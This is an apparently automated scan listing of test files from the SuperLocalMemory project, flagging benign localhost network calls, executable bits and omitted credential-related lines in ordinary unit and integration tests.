- Executable scriptline 1
Executable file
tests/test_integration/test_kind_recall_is_not_crowded_out.py
- Executable scriptline 1
Executable file
tests/test_integration/test_mcp_declared_kind_transport.py
- Executable scriptline 1
Executable file - Network accessline 111
thread.start() try: yield f"http://127.0.0.1:{server.server_address[1]}" - Network accessline 112
try: yield f"http://127.0.0.1:{server.server_address[1]}" finally: - Network accessline 113
yield f"http://127.0.0.1:{server.server_address[1]}" - Access to secretsline 135
[Credential-related source omitted]
tests/test_integration/test_mode_b_ollama.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 11
Models required: - LLM: llama3.2:latest at http://localhost:11434 - Network accessline 12
- LLM: llama3.2:latest at http://localhost:11434 - Network accessline 50
try: import httpx r = httpx.get("http://localhost:11434/api/tags", timeout=3.0) - Network accessline 51
import httpx r = httpx.get("http://localhost:11434/api/tags", timeout=3.0) return r.status_code == 200 - Network accessline 52
r = httpx.get("http://localhost:11434/api/tags", timeout=3.0) - Network accessline 60
try: import httpx r = httpx.get("http://localhost:11434/api/tags", timeout=3.0) - Network accessline 61
import httpx r = httpx.get("http://localhost:11434/api/tags", timeout=3.0) if r.status_code != 200: - Network accessline 62
r = httpx.get("http://localhost:11434/api/tags", timeout=3.0) - Network accessline 99
self, model: str = "nomic-embed-text", base_url: str = "http://localhost:11434", - Network accessline 100
model: str = "nomic-embed-text", base_url: str = "http://localhost:11434", dim: int = 768, - Network accessline 101
base_url: str = "http://localhost:11434", - Network accessline 119
resp = httpx.post( - Network accessline 167
provider="ollama", model="llama3.2", api_base="http://localhost:11434", - Network accessline 168
model="llama3.2", api_base="http://localhost:11434", temperature=0.0, - Network accessline 169
api_base="http://localhost:11434", - Network accessline 194
provider="ollama", model="llama3.2", api_base="http://localhost:11434", - Network accessline 195
model="llama3.2", api_base="http://localhost:11434", temperature=0.0, - Network accessline 196
api_base="http://localhost:11434",
tests/test_integration/test_mode_pipeline_contract.py
- Executable scriptline 1
Executable file
tests/test_integration/test_mutation_routes_never_freeze_the_daemon.py
- Executable scriptline 1
Executable file - Network accessline 122
started = time.monotonic() try: with urllib.request.urlopen(f"http://127.0.0.1:{daemon.port}{path}", - Network accessline 123
try: with urllib.request.urlopen(f"http://127.0.0.1:{daemon.port}{path}", timeout=HOLD_S * 3) as response: - Network accessline 124
with urllib.request.urlopen(f"http://127.0.0.1:{daemon.port}{path}",
tests/test_integration/test_overtaken_cases_e2e.py
- Executable scriptline 1
Executable file
tests/test_integration/test_per_request_profile_e2e.py
- Executable scriptline 1
Executable file - Network accessline 79
for _ in range(20): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener: - Network accessline 80
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener: - Access to secretsline 98
[Credential-related source omitted] - Network accessline 325
descriptor = self.descriptor() url = f"http://127.0.0.1:{self.port}{path}" - Network accessline 326
url = f"http://127.0.0.1:{self.port}{path}" if params: url = f"{url}?{urllib.parse.urlencode(params)}" - Network accessline 331
headers["X-SLM-Daemon-Capability"] = descriptor["capability"] headers["X-SLM-Target-Instance"] = descriptor["instance_id"] request = urllib.request.Request( - Network accessline 332
headers["X-SLM-Target-Instance"] = descriptor["instance_id"] request = urllib.request.Request( url, data=data, headers=headers, method=method, - Network accessline 333
request = urllib.request.Request( - Network accessline 335
) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 336
try: with urllib.request.urlopen(request, timeout=timeout) as response: return response.status, json.loads(response.read().decode("utf-8")) - Network accessline 337
with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 453
while time.monotonic() < deadline: try: with urllib.request.urlopen( - Network accessline 454
try: with urllib.request.urlopen( f"http://127.0.0.1:{self.port}/health", timeout=2, - Network accessline 455
with urllib.request.urlopen( - Network accessline 456
f"http://127.0.0.1:{self.port}/health", timeout=2, - Network accessline 581
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as probe:
tests/test_integration/test_profile_erase_through_a_real_daemon.py
- Executable scriptline 1
Executable file
tests/test_integration/test_project_recall_strict_and_crowded.py
- Executable scriptline 1
Executable file
tests/test_integration/test_read_after_write_parity.py
- Executable scriptline 1
Executable file
tests/test_integration/test_source_fidelity_e2e.py
- Executable scriptline 1
Executable file - Network accessline 140
thread.start() try: yield f"http://127.0.0.1:{server.server_address[1]}" - Network accessline 141
try: yield f"http://127.0.0.1:{server.server_address[1]}" finally: - Network accessline 142
yield f"http://127.0.0.1:{server.server_address[1]}" - Access to secretsline 159
[Credential-related source omitted]
tests/test_integration/test_tag_recall_is_not_crowded_out.py
- Executable scriptline 1
Executable file
tests/test_integration/test_trust_compliance_wiring.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_integration/test_upgrade_classifies_once.py
- Executable scriptline 1
Executable file
tests/test_integration/test_upgrade_v3_4_25_to_v3_4_26.py
- Executable scriptline 1
Executable file
tests/test_integration/test_write_retry_after_restart.py
- Executable scriptline 1
Executable file
tests/test_integrations/test_bounded_loops_mcp_bridge.py
- Executable scriptline 1
Executable file
tests/test_integrations/test_bounded_loops_v051.py
- Executable scriptline 1
Executable file
tests/test_integrations/test_platform_safety.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_isolation_cycle3.py
- Executable scriptline 1
Executable file
tests/test_isolation_guard.py
- Executable scriptline 1
Executable file - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted]
tests/test_isolation_guard_spawned_child.py
tests/test_issue91_lifecycle_ui.py
tests/test_learning/__init__.py
- Executable scriptline 1
Executable file
tests/test_learning/_signal_fixtures.py
- Executable scriptline 1
Executable file
tests/test_learning/conftest.py
- Executable scriptline 1
Executable file
tests/test_learning/test_a_dry_run_writes_nothing.py
- Executable scriptline 1
Executable file
tests/test_learning/test_a_memory_that_helped_ranks_higher.py
- Executable scriptline 1
Executable file
tests/test_learning/test_a_recall_leaves_a_ticket_an_outcome_can_find.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_learning/test_a_repeat_question_keeps_its_answer.py
- Executable scriptline 1
Executable file
tests/test_learning/test_adaptive.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_learning/test_an_answer_can_be_reported_on_by_name.py
- Executable scriptline 1
Executable file
tests/test_learning/test_an_exposure_is_not_feedback.py
- Executable scriptline 1
Executable file
tests/test_learning/test_an_order_the_arm_did_not_choose_teaches_it_nothing.py
- Executable scriptline 1
Executable file
tests/test_learning/test_an_outcome_with_no_signal_is_not_scored.py
- Executable scriptline 1
Executable file
tests/test_learning/test_arm_catalog.py
- Executable scriptline 1
Executable file
tests/test_learning/test_bandit_core.py
- Executable scriptline 1
Executable file
tests/test_learning/test_bandit_in_recall.py
- Executable scriptline 1
Executable file
tests/test_learning/test_bandit_supplementary.py
- Executable scriptline 1
Executable file
tests/test_learning/test_behavioral.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_learning/test_canonical_feedback_routing.py
- Executable scriptline 1
Executable file
tests/test_learning/test_consolidation_online_retrain_wiring.py
- Executable scriptline 1
Executable file
tests/test_learning/test_consolidation_quantization_worker.py
- Executable scriptline 1
Executable file
tests/test_learning/test_dashboard_feedback.py
- Executable scriptline 1
Executable file
tests/test_learning/test_engagement_is_observed_not_requested.py
- Executable scriptline 1
Executable file
tests/test_learning/test_engagement_reward_model.py
- Executable scriptline 1
Executable file
tests/test_learning/test_ensemble.py
- Executable scriptline 1
Executable file
tests/test_learning/test_f4a_refactor.py
- Executable scriptline 1
Executable file
tests/test_learning/test_fact_outcome_joins.py
- Executable scriptline 1
Executable file
tests/test_learning/test_feature_extraction_wired.py
- Executable scriptline 1
Executable file
tests/test_learning/test_forgetting_protections.py
- Executable scriptline 1
Executable file
tests/test_learning/test_forgetting_scheduler.py
- Executable scriptline 1
Executable file
tests/test_learning/test_hnsw_dedup.py
- Executable scriptline 1
Executable file
tests/test_learning/test_issue106_canonical_signal_store.py
- Executable scriptline 1
Executable file
tests/test_learning/test_junk_is_never_scored_to_keep.py
- Executable scriptline 1
Executable file
tests/test_learning/test_labeler.py
- Executable scriptline 1
Executable file
tests/test_learning/test_learning_db.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_learning/test_lifecycle_write_protection.py
- Executable scriptline 1
Executable file
tests/test_learning/test_lightgbm_subprocess.py
- Executable scriptline 1
Executable file
tests/test_learning/test_lightgbm_training.py
- Executable scriptline 1
Executable file
tests/test_learning/test_marker_closes_the_loop.py
tests/test_learning/test_memory_merge.py
- Executable scriptline 1
Executable file
tests/test_learning/test_mining_is_idempotent_and_scoped.py
- Executable scriptline 1
Executable file
tests/test_learning/test_one_outcome_writer.py
- Executable scriptline 1
Executable file
tests/test_learning/test_one_question_draws_one_arm.py
- Executable scriptline 1
Executable file
tests/test_learning/test_online_retrain.py
- Executable scriptline 1
Executable file
tests/test_learning/test_outcome_queue_survives_write_load.py
- Executable scriptline 1
Executable file
tests/test_learning/test_outcomes.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_learning/test_ranker_v2.py
- Executable scriptline 1
Executable file
tests/test_learning/test_retention_sweep.py
- Executable scriptline 1
Executable file
tests/test_learning/test_reward_gated_archive.py
- Executable scriptline 1
Executable file
tests/test_learning/test_reward_proxy.py
- Executable scriptline 1
Executable file
tests/test_learning/test_reward_strict_mode.py
- Executable scriptline 1
Executable file
tests/test_learning/test_s9_dash_orphan_entity.py
- Executable scriptline 1
Executable file
tests/test_learning/test_s9_dash_outcome_queue.py
- Executable scriptline 1
Executable file
tests/test_learning/test_s9_w1_lld10_wiring.py
- Executable scriptline 1
Executable file
tests/test_learning/test_s9_w6_skeptic.py
- Executable scriptline 1
Executable file
tests/test_learning/test_shadow_test.py
- Executable scriptline 1
Executable file
tests/test_learning/test_signal_worker.py
- Executable scriptline 1
Executable file
tests/test_learning/test_signals_pipeline.py
- Executable scriptline 1
Executable file
tests/test_learning/test_source_quality_reward_wiring.py
- Executable scriptline 1
Executable file
tests/test_learning/test_stage8_reward_archive_payload_cap.py
- Executable scriptline 1
Executable file
tests/test_learning/test_stage8_reward_signal_typecheck.py
- Executable scriptline 1
Executable file
tests/test_learning/test_stage8_trigram_rebuild_bound.py
- Executable scriptline 1
Executable file
tests/test_learning/test_the_bandit_learns_from_a_real_outcome.py
- Executable scriptline 1
Executable file
tests/test_learning/test_the_learning_loop_closes.py
- Executable scriptline 1
Executable file
tests/test_learning/test_the_miner_needs_events_to_mine.py
- Executable scriptline 1
Executable file
tests/test_learning/test_the_play_records_what_was_actually_shown.py
- Executable scriptline 1
Executable file
tests/test_learning/test_the_reward_loop_has_a_key_to_join_on.py
- Executable scriptline 1
Executable file
tests/test_learning/test_the_stack_is_not_read_out_of_ordinary_english.py
- Executable scriptline 1
Executable file
tests/test_learning/test_trigram_index.py
- Executable scriptline 1
Executable file
tests/test_learning_advanced.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_learning_collectors.py
- Executable scriptline 1
#!/usr/bin/env python3
tests/test_llm_provider.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Network accessline 46
proxy = "https://my-proxy.example.com" - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Network accessline 108
[Credential-related source omitted] - Network accessline 109
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Network accessline 110
llm_api_base="https://openrouter.ai/api/v1", - Network accessline 130
assert "ollama" in presets assert "openrouter" in presets assert presets["openrouter"]["base_url"] == "https://openrouter.ai/api/v1" - Network accessline 132
assert presets["openrouter"]["base_url"] == "https://openrouter.ai/api/v1" - Network accessline 270
seen.append("think" in payload) if "think" in payload: request = httpx.Request("POST", url) - Network accessline 271
if "think" in payload: request = httpx.Request("POST", url) raise httpx.HTTPStatusError( - Network accessline 272
request = httpx.Request("POST", url) - Network accessline 273
raise httpx.HTTPStatusError( - Network accessline 274
"bad request", request=request, response=httpx.Response(400, request=request), ) - Network accessline 275
response=httpx.Response(400, request=request), - Network accessline 293
seen_payloads.append(dict(payload)) if "think" in payload: request = httpx.Request("POST", url) - Network accessline 294
if "think" in payload: request = httpx.Request("POST", url) raise httpx.HTTPStatusError( - Network accessline 295
request = httpx.Request("POST", url) - Network accessline 296
raise httpx.HTTPStatusError( - Network accessline 297
"bad request", request=request, response=httpx.Response(400, request=request), ) - Network accessline 298
response=httpx.Response(400, request=request), - Network accessline 313
def _always_400(url, headers, payload): request = httpx.Request("POST", url) - Network accessline 314
request = httpx.Request("POST", url) - Network accessline 315
raise httpx.HTTPStatusError( - Network accessline 316
"bad request", request=request, response=httpx.Response(400, request=request), ) - Network accessline 317
response=httpx.Response(400, request=request),
tests/test_m031_startup_automigration.py
- Executable scriptline 1
Executable file
tests/test_math/__init__.py
- Executable scriptline 1
Executable file
tests/test_math/test_a_rotation_matrix_never_corrupts_memory.py
- Executable scriptline 1
Executable file
tests/test_math/test_ebbinghaus.py
- Executable scriptline 1
Executable file
tests/test_math/test_fisher.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_math/test_fisher_quantized.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_math/test_hopfield.py
- Executable scriptline 1
Executable file
tests/test_math/test_langevin.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_math/test_no_native_lapack_in_source.py
- Executable scriptline 1
Executable file
tests/test_math/test_polar_quant.py
- Executable scriptline 1
Executable file
tests/test_math/test_qjl.py
- Executable scriptline 1
Executable file
tests/test_math/test_sheaf.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_math/test_the_hot_path_makes_no_lapack_factorization.py
tests/test_math/test_turbo_quant.py
- Executable scriptline 1
Executable file
tests/test_math/test_wp12a_contradiction.py
- Executable scriptline 1
Executable file
tests/test_math/test_wp12a_regressions.py
- Executable scriptline 1
Executable file
tests/test_math/test_wp12b_qjl_magnitude.py
- Executable scriptline 1
Executable file
tests/test_mcp/__init__.py
- Executable scriptline 1
Executable file
tests/test_mcp/conftest.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_a_memory_knows_when_and_where_it_came_from.py
- Executable scriptline 1
Executable file - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted]
tests/test_mcp/test_admission_mcp_decorator.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_agent_context.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 501
seen: list = [] app = self._build_app(seen) async with httpx.AsyncClient( - Network accessline 502
app = self._build_app(seen) async with httpx.AsyncClient( transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 503
async with httpx.AsyncClient( - Network accessline 504
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 513
seen: list = [] app = self._build_app(seen) async with httpx.AsyncClient( - Network accessline 514
app = self._build_app(seen) async with httpx.AsyncClient( transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 515
async with httpx.AsyncClient( - Network accessline 516
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 525
seen: list = [] app = self._build_app(seen) async with httpx.AsyncClient( - Network accessline 526
app = self._build_app(seen) async with httpx.AsyncClient( transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 527
async with httpx.AsyncClient( - Network accessline 528
transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 538
seen: list = [] app = self._build_app(seen) async with httpx.AsyncClient( - Network accessline 539
app = self._build_app(seen) async with httpx.AsyncClient( transport=httpx.ASGITransport(app=app), base_url="http://test" - Network accessline 540
async with httpx.AsyncClient( - Network accessline 541
transport=httpx.ASGITransport(app=app), base_url="http://test"
tests/test_mcp/test_brain_truth_adapter.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_chatgpt_file_param.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 20
FILE = {"download_url": "https://files.chat.example/file-1?sig=SECRET123", "file_id": "file_abc", - Network accessline 21
"mime_type": "image/png", "file_name": "cat.png"} PDF = {"download_url": "https://files.chat.example/file-2?sig=SECRET123", "file_id": "file_def", "mime_type": "application/pdf", "file_name": "Report.pdf"} - Network accessline 22
PDF = {"download_url": "https://files.chat.example/file-2?sig=SECRET123", "file_id": "file_def", - Network accessline 136
@pytest.mark.parametrize("name", TOOLS) @pytest.mark.parametrize("other", [{"path": "/a.png"}, {"base64": "QUJD"}, {"download_url": "https://x.example/a"}]) - Network accessline 137
@pytest.mark.parametrize("other", [{"path": "/a.png"}, {"base64": "QUJD"}, {"download_url": "https://x.example/a"}]) - Network accessline 162
monkeypatch.setattr(daemon, "daemon_request", spy) with pytest.raises(Exception): asyncio.run(srv.call_tool("remember_media", {"file": "https://x.example/a.png"})) - Network accessline 163
with pytest.raises(Exception): asyncio.run(srv.call_tool("remember_media", {"file": "https://x.example/a.png"})) assert spy.calls == [] - Network accessline 164
asyncio.run(srv.call_tool("remember_media", {"file": "https://x.example/a.png"}))
tests/test_mcp/test_compression_ownership.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_context_loads_skip_the_answer_check.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_core_control_mutation_policy.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_daemon_proxy_404.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_default_root_presence.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_degraded_recall_finds_versions.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_degraded_recall_obeys_the_same_rules.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_embedded_mcp_uses_the_daemon_engine.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_emergency_fidelity.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_erasure_visibility.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_every_tool_has_title_and_hints.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_expand_and_search_tiers.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_fetch_cannot_report_a_miss_as_an_empty_store.py
- Executable scriptline 1
Executable file - Network accessline 5
GitHub #135. ``fetch(fact_ids: str)`` split on commas and returned whatever - Network accessline 19
fetch(fact_ids=["abc123"]) -> ValidationError: Input should be a valid string - Network accessline 20
fetch(fact_ids='["abc123"]') -> {"success": true, "results": [], "count": 0} - Network accessline 94
def call(fact_ids): return asyncio.run(fetch(fact_ids)) - Network accessline 95
return asyncio.run(fetch(fact_ids))
tests/test_mcp/test_http_transport.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Network accessline 132
with TestClient(mcp_app, base_url="http://localhost:8765") as client: - Network accessline 167
with TestClient(mcp_app, base_url="http://localhost:8765") as client: - Network accessline 224
with TestClient(mcp_app, base_url="http://localhost:8765") as client: - Network accessline 319
with TestClient(mcp_app, base_url="http://localhost:8765") as client: - Network accessline 423
with TestClient(app, base_url="http://localhost:8765") as client:
tests/test_mcp/test_kind_display_matches_the_configured_filter.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_legacy_mutation_policy.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_legacy_process_presence.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_live_media_tools.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_live_process_registry.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_mcp_brain_tools.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_mcp_daemon_proxy.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_mcp_exposure_contract.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_mcp_light_engine.py
tests/test_mcp/test_mcp_pool_adapter.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_mcp_recall_tool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 123
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Access to secretsline 224
[Credential-related source omitted] - Access to secretsline 250
[Credential-related source omitted] - Access to secretsline 253
[Credential-related source omitted]
tests/test_mcp/test_mcp_remember_tool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_mcp_session_init_tool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_mcp_tool_annotations.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 85
[Credential-related source omitted]
tests/test_mcp/test_mcp_tools_registration.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_mcp_v33_tools.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_media_upload_link_tool.py
tests/test_mcp/test_mesh_session_start.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_mesh_tools_contract.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_mode_label_tells_the_truth.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_observe_event_type.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_prestage_context_profile.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_prestage_context_tool.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_prestage_registered.py
tests/test_mcp/test_project_recall_surfaces.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_q9_session_init_size_budget.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_recall_budget.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_recall_images.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_recall_limit_parity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_recall_metadata_reaches_mcp.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_registry_containment.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_remember_replaces_tool.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_mcp/test_remote_by_id_writes_hide_media.py
- Executable scriptline 1
Executable file
tests/test_mcp/test_remote_delete_hides_media.py
